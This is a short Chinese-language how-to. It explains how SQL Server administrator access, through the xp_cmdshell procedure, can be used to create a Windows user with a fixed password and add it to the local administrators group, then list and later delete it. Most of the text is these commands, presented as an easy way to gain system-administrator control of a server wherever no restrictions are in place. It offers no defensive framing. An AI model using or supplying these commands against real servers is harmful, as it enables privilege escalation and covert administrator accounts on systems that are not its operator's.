如果我们有某服务器sql server的管理员权限，如果服务器没有做特殊限制的话，我们可以轻松的在这台服务器上添加系统管理员用户。

方法，打开查询分析器，连接到服务器sql server的master库，执行如下SQL语句

xp_cmdshell 'net user mmcgzs 123qwe!@# /add'
xp_cmdshell 'net localgroup administrators mmcgzs /add'

使用完以后删除

xp_cmdshell 'net localgroup administrators mmcgzs /delete'
xp_cmdshell 'net user mmcgzs /delete'

查看已有的系统用户

xp_cmdshell 'net user '

xp_cmdshell 是sql的一个扩展那存储过程，用于执行一个命令行语句，我们使用net user /add添加一个用户，然后使用 net localgroup 命令把这个用户添加到管理员组，就这么简单。

关键字：系统管理员、sql server、服务器